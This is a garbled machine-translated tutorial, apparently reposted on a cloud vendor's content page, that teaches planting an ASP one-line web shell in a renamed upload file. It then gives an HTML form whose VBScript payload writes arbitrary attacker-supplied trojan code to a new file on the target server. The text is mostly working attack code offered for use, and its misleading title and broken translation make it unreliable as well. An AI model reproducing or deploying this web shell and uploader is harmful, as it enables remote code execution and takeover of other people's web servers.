Classic insert statement using ASP database

Source: Internet
Author: User

No matter what method, image, EXE, or RAR ====, you only need to change the suffix to ASP through other methods, but you need to insert a language in ASP:

<% Execute request ("L") %>

Save.

Then, the local structure of the submission form, the content of the action points to insert ASP files, such as XXX. asp. The Code is as follows:

<Form action = http://www.XXX.com/xxx.asp method = post>
<Textarea name = L Cols = 120 rows = 10 width = 45>
Set Lp = server. Createobject ("ADODB. Stream ")
LP. Open
LP. type = 2
LP. charset = "gb2312"
LP. writetext request ("p ")
LP. savetofile server. mappath ("Up. asp"), 2
LP. Close
Set Lp = nothing
Response. Redirect "Up. asp"
</Textarea>
<Textarea name = P Cols = 120 rows = 10 width = 45> code for filling in the horse </textarea> <br> <center> <br>
<Input type = submit value = submit>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.